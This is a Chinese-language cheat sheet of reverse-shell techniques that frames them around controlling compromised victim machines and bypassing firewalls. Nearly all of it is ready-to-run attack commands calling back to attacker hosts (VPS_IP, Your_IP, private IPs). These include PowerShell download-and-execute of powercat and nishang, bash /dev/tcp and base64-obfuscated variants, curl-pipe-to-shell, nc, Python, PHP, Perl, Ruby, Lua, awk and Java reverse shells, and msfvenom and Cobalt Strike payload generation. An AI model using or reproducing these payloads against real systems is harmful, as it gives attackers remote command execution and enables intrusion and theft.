反弹shell汇总

 

介绍

什么是反弹shell?

​ 反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

为什么要反弹shell?

通常用于被控端因防火墙受限权限不足端口被占用等情形。

举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?

有如下情况:

  1. 某客户机中了你的网马,但是它在局域网内,你直接连接不了。

  2. 目标机器的ip动态改变,你不能持续控制。

  3. 由于防火墙等限制,对方机器只能发送请求,不能接收请求。

  4. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接,防火墙一般对出站流量放行,很多时候可以用反弹shell来绕过防火墙的限制

windows反弹shell

常见问题

开启远程下载服务

推荐在tmp目录或者docker容器中开启,防止服务器敏感文件被恶意攻击者下载

cd /tmp
python -m http.server 80

编码问题

设置UTF-8编码

chcp 65001

powershell 无法执行脚本

Set-ExecutionPolicy RemoteSigned

powershell反弹cmd

powercat是netcat的powershell版本,下载地址:https://github.com/besimorhino/powercat ,由于这个地址默认是被墙的,所以可以放在可被访问的远程服务器上。执行命令的时候,自动下载执行。

被控端

powershell IEX(New-Object System.Net.Webclient).DownloadString('http://VPS_IP/powercat.ps1'); powercat -c VPS_IP -p 6666 -e cmd

控制端

nc -lvvp 6666

NC反弹cmd

nc.exe也可以放在远程服务器上提供下载

被控端

nc VPS_IP 6666 -e c:\windows\system32\cmd.exe

控制端

nc -lvvp 6666

nishang反弹

Nishang下载地址:https://github.com/samratashok/nishang

Nishang是一个基于PowerShell的攻击框架,整合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell

将nishang下载到攻击者本地,在目标机使用powershell执行以下命令

被控端

TCP

powershell IEX (New-Object Net.WebClient).DownloadString('http://VPS_IP/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress VPS_IP -port 6666

UDP

powershell IEX (New-ObjectNet.WebClient).DownloadString('http://VPS_IP/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress VPS_IP -port 6666

控制端

nc -lvvp 6666

Dnscat反弹shell

https://github.com/iagox86/dnscat2

被控端

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx

控制端

ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open 

Linux反弹shell

常见问题

su失败

image-20220722104200302

python调用本地shell实现命令行交互

终端有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行

python -c 'import pty;pty.spawn("/bin/bash")' 
python3 -c 'import pty;pty.spawn("/bin/bash")'

反弹shell出现指令乱码

(如果用的是sh shell,要在命令行切换成bash shell才能成功)

image-20220722105823743

image-20220722111717168

ctrl+Z 			# 切入后台
stty -echo raw       # 设置原始格式
fg     			# 调用后台任务

image-20220722110049430

bash反弹shell

bash -i >& /dev/tcp/192.168.2.102/7777 0>&1
bash -c "bash -i >& /dev/tcp/192.168.0.189/6666 0>&1"
/bin/bash -i > /dev/tcp/10.10.10.11/6666 0<& 2>&1
exec 5<>/dev/tcp/10.10.10.11/6666;cat <&5 | while read line; do $line 2>&5 >&5; done

exec /bin/sh 0</dev/tcp/10.10.10.11/6666 1>&0 2>&0
0<&196;exec 196<>/dev/tcp/10.10.10.11/6666; sh <&196 >&196 2>&196

#{base64-decode} bash -i >& /dev/tcp/192.168.2.102/7777 0>&1
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ== | base64 -d | bash

nc反弹shell

nc VPS-IP 6666 -e /bin/bash
nc VPS-IP 6666 -e /bin/sh
#但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

curl反弹shell

在线网站:https://your-shell.com/

curl https://your-shell.com/vps:9999 | sh

在攻击主机上建立HTTP服务,同时将 payload 写进文件

控制端

# 新建payload
cd /tmp
echo 'bash -c "bash -i >& /dev/tcp/Your_IP/Your_Port 0>&1"' > index.html

# 开启Web服务
python3 -m http.server 80

被控端

curl http://Your_IP|bash

socat反弹shell

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234

Ruby反弹shell

ruby -rsocket -e'f=TCPSocket.open("VPS_IP",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

PHP反弹shell

php -r 'exec("/bin/bash -i >& /dev/tcp/VPS_IP/7777")'
php -r '$sock=fsockopen("10.10.10.11",443);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$s=fsockopen("10.10.10.11",443);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);'
php -r '$sock=fsockopen("VPS_IP",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

Perl反弹shell

perl -e 'use Socket;$i="VPS_IP";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Lua反弹shell

lua -e "require('socket');require('os');t=socket.tcp();t:connect('VPS_IP','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

awk反弹shell

awk 'BEGIN{s="/inet/tcp/0/VPS_IP/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

telnet反弹shell

需要在攻击主机上分别监听1234和4321端口,执行反弹shell命令后,在1234终端输入命令,4321查看命令执行后的结果。

telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321

python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.11",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

java反弹shell

public class Revs {
    /**
    * @param args
    * @throws Exception 
    */
public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/VPS_IP/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

上面文件保存为Revs.java文件,编译执行,成功反弹shell。

javac Revs.java 
java Revs

MSF反弹shell

使用msfvenom生成相关Payload

#Windows
msfvenom -l payloads | grep 'cmd/windows/reverse'
msfvenom -p cmd/windows/reverse_powershell LHOST=VPS_IP LPORT=1234

#Linux
msfvenom -l payloads | grep 'linux/x86/meterpreter/reverse'
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.10.11" LPORT=443 -f elf > shell.elf
msfvenom -l payloads | grep 'cmd/unix/reverse_bash'
msfvenom -p cmd/unix/reverse_bash LHOST="10.10.10.11" LPORT=443 -f raw > shell.sh

#Java
msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.11" LPORT=443 -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.11" LPORT=443 -f war > shell.war

#Python
msfvenom -p cmd/unix/reverse_python LHOST="10.10.10.11" LPORT=443 -f raw > shell.py

#Asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.11" LPORT=443 -f asp > shell.asp

Cobalt strike反弹shell

1、配置监听器:点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners,点击add。

2、生成payload:点击Attacks——>Packages——>Windows Executable,保存文件位置。

3、目标机执行powershell payload